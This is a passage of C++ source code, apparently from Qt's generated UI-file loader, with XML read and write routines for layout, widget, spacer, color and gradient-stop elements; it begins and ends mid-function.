writer.writeAttribute(QLatin1String("columnstretch"), attributeColumnStretch());
if (hasAttributeRowMinimumHeight())
writer.writeAttribute(QLatin1String("rowminimumheight"), attributeRowMinimumHeight());
if (hasAttributeColumnMinimumWidth())
writer.writeAttribute(QLatin1String("columnminimumwidth"), attributeColumnMinimumWidth());
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
for (int i = 0; i < m_attribute.size(); ++i) {
DomProperty* v = m_attribute[i];
v->write(writer, QLatin1String("attribute"));
}
for (int i = 0; i < m_item.size(); ++i) {
DomLayoutItem* v = m_item[i];
v->write(writer, QLatin1String("item"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomLayout::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomLayout::setElementAttribute(const QList<DomProperty*>& a)
{
m_children |= Attribute;
m_attribute = a;
}
void DomLayout::setElementItem(const QList<DomLayoutItem*>& a)
{
m_children |= Item;
m_item = a;
}
void DomLayoutItem::clear(bool clear_all)
{
delete m_widget;
delete m_layout;
delete m_spacer;
if (clear_all) {
m_text.clear();
m_has_attr_row = false;
m_attr_row = 0;
m_has_attr_column = false;
m_attr_column = 0;
m_has_attr_rowSpan = false;
m_attr_rowSpan = 0;
m_has_attr_colSpan = false;
m_attr_colSpan = 0;
m_has_attr_alignment = false;
}
m_kind = Unknown;
m_widget = 0;
m_layout = 0;
m_spacer = 0;
}
DomLayoutItem::DomLayoutItem()
{
m_kind = Unknown;
m_has_attr_row = false;
m_attr_row = 0;
m_has_attr_column = false;
m_attr_column = 0;
m_has_attr_rowSpan = false;
m_attr_rowSpan = 0;
m_has_attr_colSpan = false;
m_attr_colSpan = 0;
m_has_attr_alignment = false;
m_widget = 0;
m_layout = 0;
m_spacer = 0;
}
DomLayoutItem::~DomLayoutItem()
{
delete m_widget;
delete m_layout;
delete m_spacer;
}
void DomLayoutItem::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("row")) {
setAttributeRow(attribute.value().toString().toInt());
continue;
}
if (name == QLatin1String("column")) {
setAttributeColumn(attribute.value().toString().toInt());
continue;
}
if (name == QLatin1String("rowspan")) {
setAttributeRowSpan(attribute.value().toString().toInt());
continue;
}
if (name == QLatin1String("colspan")) {
setAttributeColSpan(attribute.value().toString().toInt());
continue;
}
if (name == QLatin1String("alignment")) {
setAttributeAlignment(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("widget")) {
DomWidget *v = new DomWidget();
v->read(reader);
setElementWidget(v);
continue;
}
if (tag == QLatin1String("layout")) {
DomLayout *v = new DomLayout();
v->read(reader);
setElementLayout(v);
continue;
}
if (tag == QLatin1String("spacer")) {
DomSpacer *v = new DomSpacer();
v->read(reader);
setElementSpacer(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomLayoutItem::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("row")))
setAttributeRow(node.attribute(QLatin1String("row")).toInt());
if (node.hasAttribute(QLatin1String("column")))
setAttributeColumn(node.attribute(QLatin1String("column")).toInt());
if (node.hasAttribute(QLatin1String("rowspan")))
setAttributeRowSpan(node.attribute(QLatin1String("rowspan")).toInt());
if (node.hasAttribute(QLatin1String("colspan")))
setAttributeColSpan(node.attribute(QLatin1String("colspan")).toInt());
if (node.hasAttribute(QLatin1String("alignment")))
setAttributeAlignment(node.attribute(QLatin1String("alignment")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("widget")) {
DomWidget *v = new DomWidget();
v->read(e);
setElementWidget(v);
continue;
}
if (tag == QLatin1String("layout")) {
DomLayout *v = new DomLayout();
v->read(e);
setElementLayout(v);
continue;
}
if (tag == QLatin1String("spacer")) {
DomSpacer *v = new DomSpacer();
v->read(e);
setElementSpacer(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomLayoutItem::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("layoutitem") : tagName.toLower());
if (hasAttributeRow())
writer.writeAttribute(QLatin1String("row"), QString::number(attributeRow()));
if (hasAttributeColumn())
writer.writeAttribute(QLatin1String("column"), QString::number(attributeColumn()));
if (hasAttributeRowSpan())
writer.writeAttribute(QLatin1String("rowspan"), QString::number(attributeRowSpan()));
if (hasAttributeColSpan())
writer.writeAttribute(QLatin1String("colspan"), QString::number(attributeColSpan()));
if (hasAttributeAlignment())
writer.writeAttribute(QLatin1String("alignment"), attributeAlignment());
switch (kind()) {
case Widget: {
DomWidget* v = elementWidget();
if (v != 0) {
v->write(writer, QLatin1String("widget"));
}
break;
}
case Layout: {
DomLayout* v = elementLayout();
if (v != 0) {
v->write(writer, QLatin1String("layout"));
}
break;
}
case Spacer: {
DomSpacer* v = elementSpacer();
if (v != 0) {
v->write(writer, QLatin1String("spacer"));
}
break;
}
default:
break;
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
DomWidget* DomLayoutItem::takeElementWidget()
{
DomWidget* a = m_widget;
m_widget = 0;
return a;
}
void DomLayoutItem::setElementWidget(DomWidget* a)
{
clear(false);
m_kind = Widget;
m_widget = a;
}
DomLayout* DomLayoutItem::takeElementLayout()
{
DomLayout* a = m_layout;
m_layout = 0;
return a;
}
void DomLayoutItem::setElementLayout(DomLayout* a)
{
clear(false);
m_kind = Layout;
m_layout = a;
}
DomSpacer* DomLayoutItem::takeElementSpacer()
{
DomSpacer* a = m_spacer;
m_spacer = 0;
return a;
}
void DomLayoutItem::setElementSpacer(DomSpacer* a)
{
clear(false);
m_kind = Spacer;
m_spacer = a;
}
void DomRow::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomRow::DomRow()
{
m_children = 0;
}
DomRow::~DomRow()
{
qDeleteAll(m_property);
m_property.clear();
}
void DomRow::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomRow::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomRow::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("row") : tagName.toLower());
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomRow::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomColumn::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
if (clear_all) {
m_text.clear();
}
m_children = 0;
}
DomColumn::DomColumn()
{
m_children = 0;
}
DomColumn::~DomColumn()
{
qDeleteAll(m_property);
m_property.clear();
}
void DomColumn::read(QXmlStreamReader &reader)
{
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomColumn::read(const QDomElement &node)
{
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomColumn::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("column") : tagName.toLower());
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomColumn::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomItem::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_item);
m_item.clear();
if (clear_all) {
m_text.clear();
m_has_attr_row = false;
m_attr_row = 0;
m_has_attr_column = false;
m_attr_column = 0;
}
m_children = 0;
}
DomItem::DomItem()
{
m_children = 0;
m_has_attr_row = false;
m_attr_row = 0;
m_has_attr_column = false;
m_attr_column = 0;
}
DomItem::~DomItem()
{
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_item);
m_item.clear();
}
void DomItem::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("row")) {
setAttributeRow(attribute.value().toString().toInt());
continue;
}
if (name == QLatin1String("column")) {
setAttributeColumn(attribute.value().toString().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
if (tag == QLatin1String("item")) {
DomItem *v = new DomItem();
v->read(reader);
m_item.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomItem::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("row")))
setAttributeRow(node.attribute(QLatin1String("row")).toInt());
if (node.hasAttribute(QLatin1String("column")))
setAttributeColumn(node.attribute(QLatin1String("column")).toInt());
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
if (tag == QLatin1String("item")) {
DomItem *v = new DomItem();
v->read(e);
m_item.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomItem::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("item") : tagName.toLower());
if (hasAttributeRow())
writer.writeAttribute(QLatin1String("row"), QString::number(attributeRow()));
if (hasAttributeColumn())
writer.writeAttribute(QLatin1String("column"), QString::number(attributeColumn()));
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
for (int i = 0; i < m_item.size(); ++i) {
DomItem* v = m_item[i];
v->write(writer, QLatin1String("item"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomItem::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomItem::setElementItem(const QList<DomItem*>& a)
{
m_children |= Item;
m_item = a;
}
void DomWidget::clear(bool clear_all)
{
m_class.clear();
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_script);
m_script.clear();
qDeleteAll(m_widgetData);
m_widgetData.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
qDeleteAll(m_row);
m_row.clear();
qDeleteAll(m_column);
m_column.clear();
qDeleteAll(m_item);
m_item.clear();
qDeleteAll(m_layout);
m_layout.clear();
qDeleteAll(m_widget);
m_widget.clear();
qDeleteAll(m_action);
m_action.clear();
qDeleteAll(m_actionGroup);
m_actionGroup.clear();
qDeleteAll(m_addAction);
m_addAction.clear();
m_zOrder.clear();
if (clear_all) {
m_text.clear();
m_has_attr_class = false;
m_has_attr_name = false;
m_has_attr_native = false;
m_attr_native = false;
}
m_children = 0;
}
DomWidget::DomWidget()
{
m_children = 0;
m_has_attr_class = false;
m_has_attr_name = false;
m_has_attr_native = false;
m_attr_native = false;
}
DomWidget::~DomWidget()
{
m_class.clear();
qDeleteAll(m_property);
m_property.clear();
qDeleteAll(m_script);
m_script.clear();
qDeleteAll(m_widgetData);
m_widgetData.clear();
qDeleteAll(m_attribute);
m_attribute.clear();
qDeleteAll(m_row);
m_row.clear();
qDeleteAll(m_column);
m_column.clear();
qDeleteAll(m_item);
m_item.clear();
qDeleteAll(m_layout);
m_layout.clear();
qDeleteAll(m_widget);
m_widget.clear();
qDeleteAll(m_action);
m_action.clear();
qDeleteAll(m_actionGroup);
m_actionGroup.clear();
qDeleteAll(m_addAction);
m_addAction.clear();
m_zOrder.clear();
}
void DomWidget::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("class")) {
setAttributeClass(attribute.value().toString());
continue;
}
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
if (name == QLatin1String("native")) {
setAttributeNative((attribute.value().toString() == QLatin1String("true") ? true : false));
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("class")) {
m_class.append(reader.readElementText());
continue;
}
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
if (tag == QLatin1String("script")) {
DomScript *v = new DomScript();
v->read(reader);
m_script.append(v);
continue;
}
if (tag == QLatin1String("widgetdata")) {
DomWidgetData *v = new DomWidgetData();
v->read(reader);
m_widgetData.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_attribute.append(v);
continue;
}
if (tag == QLatin1String("row")) {
DomRow *v = new DomRow();
v->read(reader);
m_row.append(v);
continue;
}
if (tag == QLatin1String("column")) {
DomColumn *v = new DomColumn();
v->read(reader);
m_column.append(v);
continue;
}
if (tag == QLatin1String("item")) {
DomItem *v = new DomItem();
v->read(reader);
m_item.append(v);
continue;
}
if (tag == QLatin1String("layout")) {
DomLayout *v = new DomLayout();
v->read(reader);
m_layout.append(v);
continue;
}
if (tag == QLatin1String("widget")) {
DomWidget *v = new DomWidget();
v->read(reader);
m_widget.append(v);
continue;
}
if (tag == QLatin1String("action")) {
DomAction *v = new DomAction();
v->read(reader);
m_action.append(v);
continue;
}
if (tag == QLatin1String("actiongroup")) {
DomActionGroup *v = new DomActionGroup();
v->read(reader);
m_actionGroup.append(v);
continue;
}
if (tag == QLatin1String("addaction")) {
DomActionRef *v = new DomActionRef();
v->read(reader);
m_addAction.append(v);
continue;
}
if (tag == QLatin1String("zorder")) {
m_zOrder.append(reader.readElementText());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomWidget::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("class")))
setAttributeClass(node.attribute(QLatin1String("class")));
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
if (node.hasAttribute(QLatin1String("native")))
setAttributeNative((node.attribute(QLatin1String("native")) == QLatin1String("true") ? true : false));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("class")) {
m_class.append(e.text());
continue;
}
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
if (tag == QLatin1String("script")) {
DomScript *v = new DomScript();
v->read(e);
m_script.append(v);
continue;
}
if (tag == QLatin1String("widgetdata")) {
DomWidgetData *v = new DomWidgetData();
v->read(e);
m_widgetData.append(v);
continue;
}
if (tag == QLatin1String("attribute")) {
DomProperty *v = new DomProperty();
v->read(e);
m_attribute.append(v);
continue;
}
if (tag == QLatin1String("row")) {
DomRow *v = new DomRow();
v->read(e);
m_row.append(v);
continue;
}
if (tag == QLatin1String("column")) {
DomColumn *v = new DomColumn();
v->read(e);
m_column.append(v);
continue;
}
if (tag == QLatin1String("item")) {
DomItem *v = new DomItem();
v->read(e);
m_item.append(v);
continue;
}
if (tag == QLatin1String("layout")) {
DomLayout *v = new DomLayout();
v->read(e);
m_layout.append(v);
continue;
}
if (tag == QLatin1String("widget")) {
DomWidget *v = new DomWidget();
v->read(e);
m_widget.append(v);
continue;
}
if (tag == QLatin1String("action")) {
DomAction *v = new DomAction();
v->read(e);
m_action.append(v);
continue;
}
if (tag == QLatin1String("actiongroup")) {
DomActionGroup *v = new DomActionGroup();
v->read(e);
m_actionGroup.append(v);
continue;
}
if (tag == QLatin1String("addaction")) {
DomActionRef *v = new DomActionRef();
v->read(e);
m_addAction.append(v);
continue;
}
if (tag == QLatin1String("zorder")) {
m_zOrder.append(e.text());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomWidget::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("widget") : tagName.toLower());
if (hasAttributeClass())
writer.writeAttribute(QLatin1String("class"), attributeClass());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
if (hasAttributeNative())
writer.writeAttribute(QLatin1String("native"), (attributeNative() ? QLatin1String("true") : QLatin1String("false")));
for (int i = 0; i < m_class.size(); ++i) {
QString v = m_class[i];
writer.writeTextElement(QLatin1String("class"), v);
}
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
for (int i = 0; i < m_script.size(); ++i) {
DomScript* v = m_script[i];
v->write(writer, QLatin1String("script"));
}
for (int i = 0; i < m_widgetData.size(); ++i) {
DomWidgetData* v = m_widgetData[i];
v->write(writer, QLatin1String("widgetdata"));
}
for (int i = 0; i < m_attribute.size(); ++i) {
DomProperty* v = m_attribute[i];
v->write(writer, QLatin1String("attribute"));
}
for (int i = 0; i < m_row.size(); ++i) {
DomRow* v = m_row[i];
v->write(writer, QLatin1String("row"));
}
for (int i = 0; i < m_column.size(); ++i) {
DomColumn* v = m_column[i];
v->write(writer, QLatin1String("column"));
}
for (int i = 0; i < m_item.size(); ++i) {
DomItem* v = m_item[i];
v->write(writer, QLatin1String("item"));
}
for (int i = 0; i < m_layout.size(); ++i) {
DomLayout* v = m_layout[i];
v->write(writer, QLatin1String("layout"));
}
for (int i = 0; i < m_widget.size(); ++i) {
DomWidget* v = m_widget[i];
v->write(writer, QLatin1String("widget"));
}
for (int i = 0; i < m_action.size(); ++i) {
DomAction* v = m_action[i];
v->write(writer, QLatin1String("action"));
}
for (int i = 0; i < m_actionGroup.size(); ++i) {
DomActionGroup* v = m_actionGroup[i];
v->write(writer, QLatin1String("actiongroup"));
}
for (int i = 0; i < m_addAction.size(); ++i) {
DomActionRef* v = m_addAction[i];
v->write(writer, QLatin1String("addaction"));
}
for (int i = 0; i < m_zOrder.size(); ++i) {
QString v = m_zOrder[i];
writer.writeTextElement(QLatin1String("zorder"), v);
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomWidget::setElementClass(const QStringList& a)
{
m_children |= Class;
m_class = a;
}
void DomWidget::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomWidget::setElementScript(const QList<DomScript*>& a)
{
m_children |= Script;
m_script = a;
}
void DomWidget::setElementWidgetData(const QList<DomWidgetData*>& a)
{
m_children |= WidgetData;
m_widgetData = a;
}
void DomWidget::setElementAttribute(const QList<DomProperty*>& a)
{
m_children |= Attribute;
m_attribute = a;
}
void DomWidget::setElementRow(const QList<DomRow*>& a)
{
m_children |= Row;
m_row = a;
}
void DomWidget::setElementColumn(const QList<DomColumn*>& a)
{
m_children |= Column;
m_column = a;
}
void DomWidget::setElementItem(const QList<DomItem*>& a)
{
m_children |= Item;
m_item = a;
}
void DomWidget::setElementLayout(const QList<DomLayout*>& a)
{
m_children |= Layout;
m_layout = a;
}
void DomWidget::setElementWidget(const QList<DomWidget*>& a)
{
m_children |= Widget;
m_widget = a;
}
void DomWidget::setElementAction(const QList<DomAction*>& a)
{
m_children |= Action;
m_action = a;
}
void DomWidget::setElementActionGroup(const QList<DomActionGroup*>& a)
{
m_children |= ActionGroup;
m_actionGroup = a;
}
void DomWidget::setElementAddAction(const QList<DomActionRef*>& a)
{
m_children |= AddAction;
m_addAction = a;
}
void DomWidget::setElementZOrder(const QStringList& a)
{
m_children |= ZOrder;
m_zOrder = a;
}
void DomSpacer::clear(bool clear_all)
{
qDeleteAll(m_property);
m_property.clear();
if (clear_all) {
m_text.clear();
m_has_attr_name = false;
}
m_children = 0;
}
DomSpacer::DomSpacer()
{
m_children = 0;
m_has_attr_name = false;
}
DomSpacer::~DomSpacer()
{
qDeleteAll(m_property);
m_property.clear();
}
void DomSpacer::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("name")) {
setAttributeName(attribute.value().toString());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(reader);
m_property.append(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomSpacer::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("name")))
setAttributeName(node.attribute(QLatin1String("name")));
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("property")) {
DomProperty *v = new DomProperty();
v->read(e);
m_property.append(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomSpacer::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("spacer") : tagName.toLower());
if (hasAttributeName())
writer.writeAttribute(QLatin1String("name"), attributeName());
for (int i = 0; i < m_property.size(); ++i) {
DomProperty* v = m_property[i];
v->write(writer, QLatin1String("property"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomSpacer::setElementProperty(const QList<DomProperty*>& a)
{
m_children |= Property;
m_property = a;
}
void DomColor::clear(bool clear_all)
{
if (clear_all) {
m_text.clear();
m_has_attr_alpha = false;
m_attr_alpha = 0;
}
m_children = 0;
m_red = 0;
m_green = 0;
m_blue = 0;
}
DomColor::DomColor()
{
m_children = 0;
m_has_attr_alpha = false;
m_attr_alpha = 0;
m_red = 0;
m_green = 0;
m_blue = 0;
}
DomColor::~DomColor()
{
}
void DomColor::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("alpha")) {
setAttributeAlpha(attribute.value().toString().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("red")) {
setElementRed(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("green")) {
setElementGreen(reader.readElementText().toInt());
continue;
}
if (tag == QLatin1String("blue")) {
setElementBlue(reader.readElementText().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomColor::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("alpha")))
setAttributeAlpha(node.attribute(QLatin1String("alpha")).toInt());
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("red")) {
setElementRed(e.text().toInt());
continue;
}
if (tag == QLatin1String("green")) {
setElementGreen(e.text().toInt());
continue;
}
if (tag == QLatin1String("blue")) {
setElementBlue(e.text().toInt());
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomColor::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("color") : tagName.toLower());
if (hasAttributeAlpha())
writer.writeAttribute(QLatin1String("alpha"), QString::number(attributeAlpha()));
if (m_children & Red) {
writer.writeTextElement(QLatin1String("red"), QString::number(m_red));
}
if (m_children & Green) {
writer.writeTextElement(QLatin1String("green"), QString::number(m_green));
}
if (m_children & Blue) {
writer.writeTextElement(QLatin1String("blue"), QString::number(m_blue));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomColor::setElementRed(int a)
{
m_children |= Red;
m_red = a;
}
void DomColor::setElementGreen(int a)
{
m_children |= Green;
m_green = a;
}
void DomColor::setElementBlue(int a)
{
m_children |= Blue;
m_blue = a;
}
void DomColor::clearElementRed()
{
m_children &= ~Red;
}
void DomColor::clearElementGreen()
{
m_children &= ~Green;
}
void DomColor::clearElementBlue()
{
m_children &= ~Blue;
}
void DomGradientStop::clear(bool clear_all)
{
delete m_color;
if (clear_all) {
m_text.clear();
m_has_attr_position = false;
m_attr_position = 0.0;
}
m_children = 0;
m_color = 0;
}
DomGradientStop::DomGradientStop()
{
m_children = 0;
m_has_attr_position = false;
m_attr_position = 0.0;
m_color = 0;
}
DomGradientStop::~DomGradientStop()
{
delete m_color;
}
void DomGradientStop::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("position")) {
setAttributePosition(attribute.value().toString().toDouble());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("color")) {
DomColor *v = new DomColor();
v->read(reader);
setElementColor(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomGradientStop::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("position")))
setAttributePosition(node.attribute(QLatin1String("position")).toDouble());
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
